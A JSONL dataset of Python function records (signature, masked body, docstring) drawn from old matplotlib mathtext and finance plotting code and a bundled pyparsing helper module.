{"signature": "def to_mask(self, texstr, dpi=<NUM_LIT>, fontsize=<NUM_LIT>):", "body": "assert(self._output==\"<STR_LIT>\")<EOL>prop = FontProperties(size=fontsize)<EOL>ftimage, depth = self.parse(texstr, dpi=dpi, prop=prop)<EOL>x = ftimage.as_array()<EOL>return x, depth<EOL>", "docstring": "*texstr*\n    A valid mathtext string, eg r'IQ: $\\sigma_i=15$'\n\n*dpi*\n    The dots-per-inch to render the text\n\n*fontsize*\n    The font size in points\n\nReturns a tuple (*array*, *depth*)\n\n  - *array* is an NxM uint8 alpha ubyte mask array of\n    rasterized tex.\n\n  - depth is the offset of the baseline from the bottom of the\n    image in pixels.", "id": "f17193:c45:m2"}
{"signature": "def to_rgba(self, texstr, color='<STR_LIT>', dpi=<NUM_LIT>, fontsize=<NUM_LIT>):", "body": "x, depth = self.to_mask(texstr, dpi=dpi, fontsize=fontsize)<EOL>r, g, b = mcolors.colorConverter.to_rgb(color)<EOL>RGBA = np.zeros((x.shape[<NUM_LIT:0>], x.shape[<NUM_LIT:1>], <NUM_LIT:4>), dtype=np.uint8)<EOL>RGBA[:,:,<NUM_LIT:0>] = int(<NUM_LIT:255>*r)<EOL>RGBA[:,:,<NUM_LIT:1>] = int(<NUM_LIT:255>*g)<EOL>RGBA[:,:,<NUM_LIT:2>] = int(<NUM_LIT:255>*b)<EOL>RGBA[:,:,<NUM_LIT:3>] = x<EOL>return RGBA, depth<EOL>", "docstring": "*texstr*\n    A valid mathtext string, eg r'IQ: $\\sigma_i=15$'\n\n*color*\n    Any matplotlib color argument\n\n*dpi*\n    The dots-per-inch to render the text\n\n*fontsize*\n    The font size in points\n\nReturns a tuple (*array*, *depth*)\n\n  - *array* is an NxM uint8 alpha ubyte mask array of\n    rasterized tex.\n\n  - depth is the offset of the baseline from the bottom of the\n    image in pixels.", "id": "f17193:c45:m3"}
{"signature": "def to_png(self, filename, texstr, color='<STR_LIT>', dpi=<NUM_LIT>, fontsize=<NUM_LIT>):", "body": "rgba, depth = self.to_rgba(texstr, color=color, dpi=dpi, fontsize=fontsize)<EOL>numrows, numcols, tmp = rgba.shape<EOL>_png.write_png(rgba.tostring(), numcols, numrows, filename)<EOL>return depth<EOL>", "docstring": "Writes a tex expression to a PNG file.\n\nReturns the offset of the baseline from the bottom of the\nimage in pixels.\n\n*filename*\n    A writable filename or fileobject\n\n*texstr*\n    A valid mathtext string, eg r'IQ: $\\sigma_i=15$'\n\n*color*\n    A valid matplotlib color argument\n\n*dpi*\n    The dots-per-inch to render the text\n\n*fontsize*\n    The font size in points\n\nReturns the offset of the baseline from the bottom of the\nimage in pixels.", "id": "f17193:c45:m4"}
{"signature": "def get_depth(self, texstr, dpi=<NUM_LIT>, fontsize=<NUM_LIT>):", "body": "assert(self._output==\"<STR_LIT>\")<EOL>prop = FontProperties(size=fontsize)<EOL>ftimage, depth = self.parse(texstr, dpi=dpi, prop=prop)<EOL>return depth<EOL>", "docstring": "Returns the offset of the baseline from the bottom of the\nimage in pixels.\n\n*texstr*\n    A valid mathtext string, eg r'IQ: $\\sigma_i=15$'\n\n*dpi*\n    The dots-per-inch to render the text\n\n*fontsize*\n    The font size in points", "id": "f17193:c45:m5"}
{"signature": "def parse_yahoo_historical(fh, asobject=False, adjusted=True):", "body": "results = []<EOL>lines = fh.readlines()<EOL>datefmt = None<EOL>for line in lines[<NUM_LIT:1>:]:<EOL><INDENT>vals = line.split('<STR_LIT:U+002C>')<EOL>if len(vals)!=<NUM_LIT:7>: continue<EOL>datestr = vals[<NUM_LIT:0>]<EOL>if datefmt is None:<EOL><INDENT>try:<EOL><INDENT>datefmt = '<STR_LIT>'<EOL>dt = datetime.date(*time.strptime(datestr, datefmt)[:<NUM_LIT:3>])<EOL><DEDENT>except ValueError:<EOL><INDENT>datefmt = '<STR_LIT>'  <EOL><DEDENT><DEDENT>dt = datetime.date(*time.strptime(datestr, datefmt)[:<NUM_LIT:3>])<EOL>d = date2num(dt)<EOL>open, high, low, close =  [float(val) for val in vals[<NUM_LIT:1>:<NUM_LIT:5>]]<EOL>volume = int(vals[<NUM_LIT:5>])<EOL>if adjusted:<EOL><INDENT>aclose = float(vals[<NUM_LIT:6>])<EOL>m = aclose/close<EOL>open *= m<EOL>high *= m<EOL>low *= m<EOL>close = aclose<EOL><DEDENT>results.append((d, open, close, high, low, volume))<EOL><DEDENT>results.reverse()<EOL>if asobject:<EOL><INDENT>if len(results)==<NUM_LIT:0>: return None<EOL>else:<EOL><INDENT>date, open, close, high, low, volume = list(map(np.asarray, list(zip(*results))))<EOL><DEDENT>return Bunch(date=date, open=open, close=close, high=high, low=low, volume=volume)<EOL><DEDENT>else:<EOL><INDENT>return results<EOL><DEDENT>", "docstring": "Parse the historical data in file handle fh from yahoo finance and return\nresults as a list of\n\nd, open, close, high, low, volume\n\nwhere d is a floating poing representation of date, as returned by date2num\n\nif adjust=True, use adjusted prices", "id": "f17194:m0"}
{"signature": "def fetch_historical_yahoo(ticker, date1, date2, cachename=None):", "body": "ticker = ticker.upper()<EOL>d1 = (date1.month-<NUM_LIT:1>, date1.day, date1.year)<EOL>d2 = (date2.month-<NUM_LIT:1>, date2.day, date2.year)<EOL>urlFmt = '<STR_LIT>'<EOL>url =  urlFmt % (d1[<NUM_LIT:0>], d1[<NUM_LIT:1>], d1[<NUM_LIT:2>],<EOL>d2[<NUM_LIT:0>], d2[<NUM_LIT:1>], d2[<NUM_LIT:2>], ticker)<EOL>if cachename is None:<EOL><INDENT>cachename = os.path.join(cachedir, md5(url).hexdigest())<EOL><DEDENT>if os.path.exists(cachename):<EOL><INDENT>fh = file(cachename)<EOL>verbose.report('<STR_LIT>'%(cachename, ticker))<EOL><DEDENT>else:<EOL><INDENT>if not os.path.isdir(cachedir): os.mkdir(cachedir)<EOL>fh = file(cachename, '<STR_LIT:w>')<EOL>fh.write(urlopen(url).read())<EOL>fh.close()<EOL>verbose.report('<STR_LIT>'%(ticker, cachename))<EOL>fh = file(cachename, '<STR_LIT:r>')<EOL><DEDENT>return fh<EOL>", "docstring": "Fetch historical data for ticker between date1 and date2.  date1 and\ndate2 are datetime instances\n\nEx:\nfh = fetch_historical_yahoo('^GSPC', d1, d2)\n\ncachename is the name of the local file cache.  If None, will\ndefault to the md5 hash or the url (which incorporates the ticker\nand date range)\n\na file handle is returned", "id": "f17194:m1"}
{"signature": "def quotes_historical_yahoo(ticker, date1, date2, asobject=False, adjusted=True, cachename=None):", "body": "fh = fetch_historical_yahoo(ticker, date1, date2, cachename)<EOL>try: ret = parse_yahoo_historical(fh, asobject, adjusted)<EOL>except IOError as exc:<EOL><INDENT>warnings.warn('<STR_LIT>' + url + '<STR_LIT:\\n>' + exc.strerror[<NUM_LIT:1>])<EOL>return None<EOL><DEDENT>return ret<EOL>", "docstring": "Get historical data for ticker between date1 and date2.  date1 and\ndate2 are datetime instances\n\nresults are a list of tuples\n\n  (d, open, close, high, low, volume)\n\nwhere d is a floating poing representation of date, as returned by date2num\n\nif asobject is True, the return val is an object with attrs date,\nopen, close, high, low, volume, which are equal length arrays\n\nif adjust=True, use adjusted prices\n\nEx:\nsp = f.quotes_historical_yahoo('^GSPC', d1, d2, asobject=True, adjusted=True)\nreturns = (sp.open[1:] - sp.open[:-1])/sp.open[1:]\n[n,bins,patches] = hist(returns, 100)\nmu = mean(returns)\nsigma = std(returns)\nx = normpdf(bins, mu, sigma)\nplot(bins, x, color='red', lw=2)\n\ncachename is the name of the local file cache.  If None, will\ndefault to the md5 hash or the url (which incorporates the ticker\nand date range)", "id": "f17194:m2"}
{"signature": "def plot_day_summary(ax, quotes, ticksize=<NUM_LIT:3>,<EOL>colorup='<STR_LIT:k>', colordown='<STR_LIT:r>',<EOL>):", "body": "lines = []<EOL>for q in quotes:<EOL><INDENT>t, open, close, high, low = q[:<NUM_LIT:5>]<EOL>if close>=open : color = colorup<EOL>else           : color = colordown<EOL>vline = Line2D(<EOL>xdata=(t, t), ydata=(low, high),<EOL>color=color,<EOL>antialiased=False,   <EOL>)<EOL>oline = Line2D(<EOL>xdata=(t, t), ydata=(open, open),<EOL>color=color,<EOL>antialiased=False,<EOL>marker=TICKLEFT,<EOL>markersize=ticksize,<EOL>)<EOL>cline = Line2D(<EOL>xdata=(t, t), ydata=(close, close),<EOL>color=color,<EOL>antialiased=False,<EOL>markersize=ticksize,<EOL>marker=TICKRIGHT)<EOL>lines.extend((vline, oline, cline))<EOL>ax.add_line(vline)<EOL>ax.add_line(oline)<EOL>ax.add_line(cline)<EOL><DEDENT>ax.autoscale_view()<EOL>return lines<EOL>", "docstring": "quotes is a list of (time, open, close, high, low, ...) tuples\n\nRepresent the time, open, close, high, low as a vertical line\nranging from low to high.  The left tick is the open and the right\ntick is the close.\n\ntime must be in float date format - see date2num\n\nax          : an Axes instance to plot to\nticksize    : open/close tick marker in points\ncolorup     : the color of the lines where close >= open\ncolordown   : the color of the lines where close <  open\nreturn value is a list of lines added", "id": "f17194:m3"}
{"signature": "def candlestick(ax, quotes, width=<NUM_LIT>, colorup='<STR_LIT:k>', colordown='<STR_LIT:r>',<EOL>alpha=<NUM_LIT:1.0>):", "body": "OFFSET = width/<NUM_LIT><EOL>lines = []<EOL>patches = []<EOL>for q in quotes:<EOL><INDENT>t, open, close, high, low = q[:<NUM_LIT:5>]<EOL>if close>=open :<EOL><INDENT>color = colorup<EOL>lower = open<EOL>height = close-open<EOL><DEDENT>else           :<EOL><INDENT>color = colordown<EOL>lower = close<EOL>height = open-close<EOL><DEDENT>vline = Line2D(<EOL>xdata=(t, t), ydata=(low, high),<EOL>color='<STR_LIT:k>',<EOL>linewidth=<NUM_LIT:0.5>,<EOL>antialiased=True,<EOL>)<EOL>rect = Rectangle(<EOL>xy    = (t-OFFSET, lower),<EOL>width = width,<EOL>height = height,<EOL>facecolor = color,<EOL>edgecolor = color,<EOL>)<EOL>rect.set_alpha(alpha)<EOL>lines.append(vline)<EOL>patches.append(rect)<EOL>ax.add_line(vline)<EOL>ax.add_patch(rect)<EOL><DEDENT>ax.autoscale_view()<EOL>return lines, patches<EOL>", "docstring": "quotes is a list of (time, open, close, high, low, ...)  tuples.\nAs long as the first 5 elements of the tuples are these values,\nthe tuple can be as long as you want (eg it may store volume).\n\ntime must be in float days format - see date2num\n\nPlot the time, open, close, high, low as a vertical line ranging\nfrom low to high.  Use a rectangular bar to represent the\nopen-close span.  If close >= open, use colorup to color the bar,\notherwise use colordown\n\nax          : an Axes instance to plot to\nwidth       : fraction of a day for the rectangle width\ncolorup     : the color of the rectangle where close >= open\ncolordown   : the color of the rectangle where close <  open\nalpha       : the rectangle alpha level\n\nreturn value is lines, patches where lines is a list of lines\nadded and patches is a list of the rectangle patches added", "id": "f17194:m4"}
{"signature": "def plot_day_summary2(ax, opens, closes, highs, lows, ticksize=<NUM_LIT:4>,<EOL>colorup='<STR_LIT:k>', colordown='<STR_LIT:r>',<EOL>):", "body": "<EOL>rangeSegments = [ ((i, low), (i, high)) for i, low, high in zip(range(len(lows)), lows, highs) if low != -<NUM_LIT:1> ]<EOL>openSegments = [  ((-ticksize, <NUM_LIT:0>), (<NUM_LIT:0>, <NUM_LIT:0>)) ]<EOL>closeSegments = [ ((<NUM_LIT:0>, <NUM_LIT:0>), (ticksize, <NUM_LIT:0>)) ]<EOL>offsetsOpen = [ (i, open) for i, open in zip(range(len(opens)), opens) if open != -<NUM_LIT:1> ]<EOL>offsetsClose = [ (i, close) for i, close in zip(range(len(closes)), closes) if close != -<NUM_LIT:1> ]<EOL>scale = ax.figure.dpi * (<NUM_LIT:1.0>/<NUM_LIT>)<EOL>tickTransform = Affine2D().scale(scale, <NUM_LIT:0.0>)<EOL>r,g,b = colorConverter.to_rgb(colorup)<EOL>colorup = r,g,b,<NUM_LIT:1><EOL>r,g,b = colorConverter.to_rgb(colordown)<EOL>colordown = r,g,b,<NUM_LIT:1><EOL>colord = { True : colorup,<EOL>False : colordown,<EOL>}<EOL>colors = [colord[open<close] for open, close in zip(opens, closes) if open!=-<NUM_LIT:1> and close !=-<NUM_LIT:1>]<EOL>assert(len(rangeSegments)==len(offsetsOpen))<EOL>assert(len(offsetsOpen)==len(offsetsClose))<EOL>assert(len(offsetsClose)==len(colors))<EOL>useAA = <NUM_LIT:0>,   <EOL>lw = <NUM_LIT:1>,      <EOL>rangeCollection = LineCollection(rangeSegments,<EOL>colors       = colors,<EOL>linewidths   = lw,<EOL>antialiaseds = useAA,<EOL>)<EOL>openCollection = LineCollection(openSegments,<EOL>colors       = colors,<EOL>antialiaseds = useAA,<EOL>linewidths   = lw,<EOL>offsets      = offsetsOpen,<EOL>transOffset  = ax.transData,<EOL>)<EOL>openCollection.set_transform(tickTransform)<EOL>closeCollection = LineCollection(closeSegments,<EOL>colors       = colors,<EOL>antialiaseds = useAA,<EOL>linewidths   = lw,<EOL>offsets      = offsetsClose,<EOL>transOffset  = ax.transData,<EOL>)<EOL>closeCollection.set_transform(tickTransform)<EOL>minpy, maxx = (<NUM_LIT:0>, len(rangeSegments))<EOL>miny = min([low for low in lows if low !=-<NUM_LIT:1>])<EOL>maxy = max([high for high in highs if high != -<NUM_LIT:1>])<EOL>corners = (minpy, miny), (maxx, maxy)<EOL>ax.update_datalim(corners)<EOL>ax.autoscale_view()<EOL>ax.add_collection(rangeCollection)<EOL>ax.add_collection(openCollection)<EOL>ax.add_collection(closeCollection)<EOL>return rangeCollection, openCollection, closeCollection<EOL>", "docstring": "Represent the time, open, close, high, low as a vertical line\nranging from low to high.  The left tick is the open and the right\ntick is the close.\n\nax          : an Axes instance to plot to\nticksize    : size of open and close ticks in points\ncolorup     : the color of the lines where close >= open\ncolordown   : the color of the lines where close <  open\n\nreturn value is a list of lines added", "id": "f17194:m5"}
{"signature": "def candlestick2(ax, opens, closes, highs, lows, width=<NUM_LIT:4>,<EOL>colorup='<STR_LIT:k>', colordown='<STR_LIT:r>',<EOL>alpha=<NUM_LIT>,<EOL>):", "body": "<EOL>delta = width/<NUM_LIT><EOL>barVerts = [ ( (i-delta, open), (i-delta, close), (i+delta, close), (i+delta, open) ) for i, open, close in zip(range(len(opens)), opens, closes) if open != -<NUM_LIT:1> and close!=-<NUM_LIT:1> ]<EOL>rangeSegments = [ ((i, low), (i, high)) for i, low, high in zip(range(len(lows)), lows, highs) if low != -<NUM_LIT:1> ]<EOL>r,g,b = colorConverter.to_rgb(colorup)<EOL>colorup = r,g,b,alpha<EOL>r,g,b = colorConverter.to_rgb(colordown)<EOL>colordown = r,g,b,alpha<EOL>colord = { True : colorup,<EOL>False : colordown,<EOL>}<EOL>colors = [colord[open<close] for open, close in zip(opens, closes) if open!=-<NUM_LIT:1> and close !=-<NUM_LIT:1>]<EOL>assert(len(barVerts)==len(rangeSegments))<EOL>useAA = <NUM_LIT:0>,  <EOL>lw = <NUM_LIT:0.5>,   <EOL>rangeCollection = LineCollection(rangeSegments,<EOL>colors       = ( (<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:1>), ),<EOL>linewidths   = lw,<EOL>antialiaseds = useAA,<EOL>)<EOL>barCollection = PolyCollection(barVerts,<EOL>facecolors   = colors,<EOL>edgecolors   = ( (<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:1>), ),<EOL>antialiaseds = useAA,<EOL>linewidths   = lw,<EOL>)<EOL>minx, maxx = <NUM_LIT:0>, len(rangeSegments)<EOL>miny = min([low for low in lows if low !=-<NUM_LIT:1>])<EOL>maxy = max([high for high in highs if high != -<NUM_LIT:1>])<EOL>corners = (minx, miny), (maxx, maxy)<EOL>ax.update_datalim(corners)<EOL>ax.autoscale_view()<EOL>ax.add_collection(barCollection)<EOL>ax.add_collection(rangeCollection)<EOL>return rangeCollection, barCollection<EOL>", "docstring": "Represent the open, close as a bar line and high low range as a\nvertical line.\n\n\nax          : an Axes instance to plot to\nwidth       : the bar width in points\ncolorup     : the color of the lines where close >= open\ncolordown   : the color of the lines where close <  open\nalpha       : bar transparency\n\nreturn value is lineCollection, barCollection", "id": "f17194:m6"}
{"signature": "def volume_overlay(ax, opens, closes, volumes,<EOL>colorup='<STR_LIT:k>', colordown='<STR_LIT:r>',<EOL>width=<NUM_LIT:4>, alpha=<NUM_LIT:1.0>):", "body": "r,g,b = colorConverter.to_rgb(colorup)<EOL>colorup = r,g,b,alpha<EOL>r,g,b = colorConverter.to_rgb(colordown)<EOL>colordown = r,g,b,alpha<EOL>colord = { True : colorup,<EOL>False : colordown,<EOL>}<EOL>colors = [colord[open<close] for open, close in zip(opens, closes) if open!=-<NUM_LIT:1> and close !=-<NUM_LIT:1>]<EOL>delta = width/<NUM_LIT><EOL>bars = [ ( (i-delta, <NUM_LIT:0>), (i-delta, v), (i+delta, v), (i+delta, <NUM_LIT:0>)) for i, v in enumerate(volumes) if v != -<NUM_LIT:1> ]<EOL>barCollection = PolyCollection(bars,<EOL>facecolors   = colors,<EOL>edgecolors   = ( (<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:1>), ),<EOL>antialiaseds = (<NUM_LIT:0>,),<EOL>linewidths   = (<NUM_LIT:0.5>,),<EOL>)<EOL>corners = (<NUM_LIT:0>, <NUM_LIT:0>), (len(bars), max(volumes))<EOL>ax.update_datalim(corners)<EOL>ax.autoscale_view()<EOL>return barCollection<EOL>", "docstring": "Add a volume overlay to the current axes.  The opens and closes\nare used to determine the color of the bar.  -1 is missing.  If a\nvalue is missing on one it must be missing on all\n\nax          : an Axes instance to plot to\nwidth       : the bar width in points\ncolorup     : the color of the lines where close >= open\ncolordown   : the color of the lines where close <  open\nalpha       : bar transparency", "id": "f17194:m7"}
{"signature": "def volume_overlay2(ax, closes, volumes,<EOL>colorup='<STR_LIT:k>', colordown='<STR_LIT:r>',<EOL>width=<NUM_LIT:4>, alpha=<NUM_LIT:1.0>):", "body": "return volume_overlay(ax,closes[:-<NUM_LIT:1>],closes[<NUM_LIT:1>:],volumes[<NUM_LIT:1>:],colorup,colordown,width,alpha)<EOL>", "docstring": "Add a volume overlay to the current axes.  The closes are used to\ndetermine the color of the bar.  -1 is missing.  If a value is\nmissing on one it must be missing on all\n\nax          : an Axes instance to plot to\nwidth       : the bar width in points\ncolorup     : the color of the lines where close >= open\ncolordown   : the color of the lines where close <  open\nalpha       : bar transparency\n\nnb: first point is not displayed - it is used only for choosing the\nright color", "id": "f17194:m8"}
{"signature": "def volume_overlay3(ax, quotes,<EOL>colorup='<STR_LIT:k>', colordown='<STR_LIT:r>',<EOL>width=<NUM_LIT:4>, alpha=<NUM_LIT:1.0>):", "body": "r,g,b = colorConverter.to_rgb(colorup)<EOL>colorup = r,g,b,alpha<EOL>r,g,b = colorConverter.to_rgb(colordown)<EOL>colordown = r,g,b,alpha<EOL>colord = { True : colorup,<EOL>False : colordown,<EOL>}<EOL>dates, opens, closes, highs, lows, volumes = list(zip(*quotes))<EOL>colors = [colord[close1>=close0] for close0, close1 in zip(closes[:-<NUM_LIT:1>], closes[<NUM_LIT:1>:]) if close0!=-<NUM_LIT:1> and close1 !=-<NUM_LIT:1>]<EOL>colors.insert(<NUM_LIT:0>,colord[closes[<NUM_LIT:0>]>=opens[<NUM_LIT:0>]])<EOL>right = width/<NUM_LIT><EOL>left = -width/<NUM_LIT><EOL>bars = [ ( (left, <NUM_LIT:0>), (left, volume), (right, volume), (right, <NUM_LIT:0>)) for d, open, close, high, low, volume in quotes]<EOL>sx = ax.figure.dpi * (<NUM_LIT:1.0>/<NUM_LIT>)  <EOL>sy = ax.bbox.height / ax.viewLim.height<EOL>barTransform = Affine2D().scale(sx,sy)<EOL>dates = [d for d, open, close, high, low, volume in quotes]<EOL>offsetsBars = [(d, <NUM_LIT:0>) for d in dates]<EOL>useAA = <NUM_LIT:0>,  <EOL>lw = <NUM_LIT:0.5>,   <EOL>barCollection = PolyCollection(bars,<EOL>facecolors   = colors,<EOL>edgecolors   = ( (<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:1>), ),<EOL>antialiaseds = useAA,<EOL>linewidths   = lw,<EOL>offsets      = offsetsBars,<EOL>transOffset  = ax.transData,<EOL>)<EOL>barCollection.set_transform(barTransform)<EOL>minpy, maxx = (min(dates), max(dates))<EOL>miny = <NUM_LIT:0><EOL>maxy = max([volume for d, open, close, high, low, volume in quotes])<EOL>corners = (minpy, miny), (maxx, maxy)<EOL>ax.update_datalim(corners)<EOL>ax.add_collection(barCollection)<EOL>ax.autoscale_view()<EOL>return barCollection<EOL>", "docstring": "Add a volume overlay to the current axes.  quotes is a list of (d,\nopen, close, high, low, volume) and close-open is used to\ndetermine the color of the bar\n\nkwarg\nwidth       : the bar width in points\ncolorup     : the color of the lines where close1 >= close0\ncolordown   : the color of the lines where close1 <  close0\nalpha       : bar transparency", "id": "f17194:m9"}
{"signature": "def index_bar(ax, vals,<EOL>facecolor='<STR_LIT:b>', edgecolor='<STR_LIT:l>',<EOL>width=<NUM_LIT:4>, alpha=<NUM_LIT:1.0>, ):", "body": "facecolors = (colorConverter.to_rgba(facecolor, alpha),)<EOL>edgecolors = (colorConverter.to_rgba(edgecolor, alpha),)<EOL>right = width/<NUM_LIT><EOL>left = -width/<NUM_LIT><EOL>bars = [ ( (left, <NUM_LIT:0>), (left, v), (right, v), (right, <NUM_LIT:0>)) for v in vals if v != -<NUM_LIT:1> ]<EOL>sx = ax.figure.dpi * (<NUM_LIT:1.0>/<NUM_LIT>)  <EOL>sy = ax.bbox.height / ax.viewLim.height<EOL>barTransform = Affine2D().scale(sx,sy)<EOL>offsetsBars = [ (i, <NUM_LIT:0>) for i,v in enumerate(vals) if v != -<NUM_LIT:1> ]<EOL>barCollection = PolyCollection(bars,<EOL>facecolors   = facecolors,<EOL>edgecolors   = edgecolors,<EOL>antialiaseds = (<NUM_LIT:0>,),<EOL>linewidths   = (<NUM_LIT:0.5>,),<EOL>offsets      = offsetsBars,<EOL>transOffset  = ax.transData,<EOL>)<EOL>barCollection.set_transform(barTransform)<EOL>minpy, maxx = (<NUM_LIT:0>, len(offsetsBars))<EOL>miny = <NUM_LIT:0><EOL>maxy = max([v for v in vals if v!=-<NUM_LIT:1>])<EOL>corners = (minpy, miny), (maxx, maxy)<EOL>ax.update_datalim(corners)<EOL>ax.autoscale_view()<EOL>ax.add_collection(barCollection)<EOL>return barCollection<EOL>", "docstring": "Add a bar collection graph with height vals (-1 is missing).\n\nax          : an Axes instance to plot to\nwidth       : the bar width in points\nalpha       : bar transparency", "id": "f17194:m10"}
{"signature": "def col (loc,strg):", "body": "return (loc<len(strg) and strg[loc] == '<STR_LIT:\\n>') and <NUM_LIT:1> or loc - strg.rfind(\"<STR_LIT:\\n>\", <NUM_LIT:0>, loc)<EOL>", "docstring": "Returns current column within a string, counting newlines as line separators.\n   The first column is number 1.\n\n   Note: the default parsing behavior is to expand tabs in the input string\n   before starting the parsing process.  See L{I{ParserElement.parseString}<ParserElement.parseString>} for more information\n   on parsing strings containing <TAB>s, and suggested methods to maintain a\n   consistent view of the parsed string, the parse location, and line and column\n   positions within the parsed string.", "id": "f17196:m1"}
{"signature": "def lineno(loc,strg):", "body": "return strg.count(\"<STR_LIT:\\n>\",<NUM_LIT:0>,loc) + <NUM_LIT:1><EOL>", "docstring": "Returns current line number within a string, counting newlines as line separators.\n   The first line is number 1.\n\n   Note: the default parsing behavior is to expand tabs in the input string\n   before starting the parsing process.  See L{I{ParserElement.parseString}<ParserElement.parseString>} for more information\n   on parsing strings containing <TAB>s, and suggested methods to maintain a\n   consistent view of the parsed string, the parse location, and line and column\n   positions within the parsed string.", "id": "f17196:m2"}
{"signature": "def line( loc, strg ):", "body": "lastCR = strg.rfind(\"<STR_LIT:\\n>\", <NUM_LIT:0>, loc)<EOL>nextCR = strg.find(\"<STR_LIT:\\n>\", loc)<EOL>if nextCR > <NUM_LIT:0>:<EOL><INDENT>return strg[lastCR+<NUM_LIT:1>:nextCR]<EOL><DEDENT>else:<EOL><INDENT>return strg[lastCR+<NUM_LIT:1>:]<EOL><DEDENT>", "docstring": "Returns the line of text containing loc within a string, counting newlines as line separators.", "id": "f17196:m3"}
{"signature": "def nullDebugAction(*args):", "body": "pass<EOL>", "docstring": "Do-nothing' debug action, to suppress debugging output during parsing.", "id": "f17196:m7"}
{"signature": "def traceParseAction(f):", "body": "f = ParserElement._normalizeParseActionArgs(f)<EOL>def z(*paArgs):<EOL><INDENT>thisFunc = f.__name__<EOL>s,l,t = paArgs[-<NUM_LIT:3>:]<EOL>if len(paArgs)><NUM_LIT:3>:<EOL><INDENT>thisFunc = paArgs[<NUM_LIT:0>].__class__.__name__ + '<STR_LIT:.>' + thisFunc<EOL><DEDENT>sys.stderr.write( \"<STR_LIT>\" % (thisFunc,line(l,s),l,t) )<EOL>try:<EOL><INDENT>ret = f(*paArgs)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>sys.stderr.write( \"<STR_LIT>\" % (thisFunc,exc) )<EOL>raise<EOL><DEDENT>sys.stderr.write( \"<STR_LIT>\" % (thisFunc,ret) )<EOL>return ret<EOL><DEDENT>try:<EOL><INDENT>z.__name__ = f.__name__<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return z<EOL>", "docstring": "Decorator for debugging parse actions.", "id": "f17196:m8"}
{"signature": "def delimitedList( expr, delim=\"<STR_LIT:U+002C>\", combine=False ):", "body": "dlName = _ustr(expr)+\"<STR_LIT>\"+_ustr(delim)+\"<STR_LIT:U+0020>\"+_ustr(expr)+\"<STR_LIT>\"<EOL>if combine:<EOL><INDENT>return Combine( expr + ZeroOrMore( delim + expr ) ).setName(dlName)<EOL><DEDENT>else:<EOL><INDENT>return ( expr + ZeroOrMore( Suppress( delim ) + expr ) ).setName(dlName)<EOL><DEDENT>", "docstring": "Helper to define a delimited list of expressions - the delimiter defaults to ','.\n       By default, the list elements and delimiters can have intervening whitespace, and\n       comments, but this can be overridden by passing 'combine=True' in the constructor.\n       If combine is set to True, the matching tokens are returned as a single token\n       string, with the delimiters included; otherwise, the matching tokens are returned\n       as a list of tokens, with the delimiters suppressed.", "id": "f17196:m9"}
{"signature": "def countedArray( expr ):", "body": "arrayExpr = Forward()<EOL>def countFieldParseAction(s,l,t):<EOL><INDENT>n = int(t[<NUM_LIT:0>])<EOL>arrayExpr << (n and Group(And([expr]*n)) or Group(empty))<EOL>return []<EOL><DEDENT>return ( Word(nums).setName(\"<STR_LIT>\").setParseAction(countFieldParseAction, callDuringTry=True) + arrayExpr )<EOL>", "docstring": "Helper to define a counted list of expressions.\n       This helper defines a pattern of the form::\n           integer expr expr expr...\n       where the leading integer tells how many expr expressions follow.\n       The matched tokens returns the array of expr tokens as a list - the leading count token is suppressed.", "id": "f17196:m10"}
{"signature": "def matchPreviousLiteral(expr):", "body": "rep = Forward()<EOL>def copyTokenToRepeater(s,l,t):<EOL><INDENT>if t:<EOL><INDENT>if len(t) == <NUM_LIT:1>:<EOL><INDENT>rep << t[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>tflat = _flatten(t.asList())<EOL>rep << And( [ Literal(tt) for tt in tflat ] )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rep << Empty()<EOL><DEDENT><DEDENT>expr.addParseAction(copyTokenToRepeater, callDuringTry=True)<EOL>return rep<EOL>", "docstring": "Helper to define an expression that is indirectly defined from\n       the tokens matched in a previous expression, that is, it looks\n       for a 'repeat' of a previous expression.  For example::\n           first = Word(nums)\n           second = matchPreviousLiteral(first)\n           matchExpr = first + \":\" + second\n       will match \"1:1\", but not \"1:2\".  Because this matches a\n       previous literal, will also match the leading \"1:1\" in \"1:10\".\n       If this is not desired, use matchPreviousExpr.\n       Do *not* use with packrat parsing enabled.", "id": "f17196:m12"}
{"signature": "def matchPreviousExpr(expr):", "body": "rep = Forward()<EOL>e2 = expr.copy()<EOL>rep << e2<EOL>def copyTokenToRepeater(s,l,t):<EOL><INDENT>matchTokens = _flatten(t.asList())<EOL>def mustMatchTheseTokens(s,l,t):<EOL><INDENT>theseTokens = _flatten(t.asList())<EOL>if  theseTokens != matchTokens:<EOL><INDENT>raise ParseException(\"<STR_LIT>\",<NUM_LIT:0>,\"<STR_LIT>\")<EOL><DEDENT><DEDENT>rep.setParseAction( mustMatchTheseTokens, callDuringTry=True )<EOL><DEDENT>expr.addParseAction(copyTokenToRepeater, callDuringTry=True)<EOL>return rep<EOL>", "docstring": "Helper to define an expression that is indirectly defined from\n       the tokens matched in a previous expression, that is, it looks\n       for a 'repeat' of a previous expression.  For example::\n           first = Word(nums)\n           second = matchPreviousExpr(first)\n           matchExpr = first + \":\" + second\n       will match \"1:1\", but not \"1:2\".  Because this matches by\n       expressions, will *not* match the leading \"1:1\" in \"1:10\";\n       the expressions are evaluated first, and then compared, so\n       \"1\" is compared with \"10\".\n       Do *not* use with packrat parsing enabled.", "id": "f17196:m13"}
